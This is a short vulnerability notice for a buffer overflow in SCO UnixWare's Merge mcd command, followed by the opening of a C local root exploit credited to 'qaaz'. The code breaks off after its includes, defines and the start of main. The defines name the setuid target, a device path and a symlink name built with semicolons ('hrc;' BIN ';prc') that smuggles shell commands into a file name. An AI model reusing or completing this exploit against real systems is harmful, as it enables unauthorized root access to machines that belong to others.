A vulnerability in SCO UnixWare's Merge mcd command allows local attackers to gain elevated privileges by overflowing an internal buffer used by the program.
Exploit:
/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Merge mcd Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#define TARGET "/usr/lib/merge/mcd"
#define DIR "/proc/%d/object", getpid()
#define BIN "a.out"
#define LNK "hrc;" BIN ";prc"
#define DEV "/dev/cdrom/cdrom1"
int main(int argc, char *argv[])
{
char dir[4096], bin[4096];
char dev[4096], env[4096];
pid_t child;
struct stat st;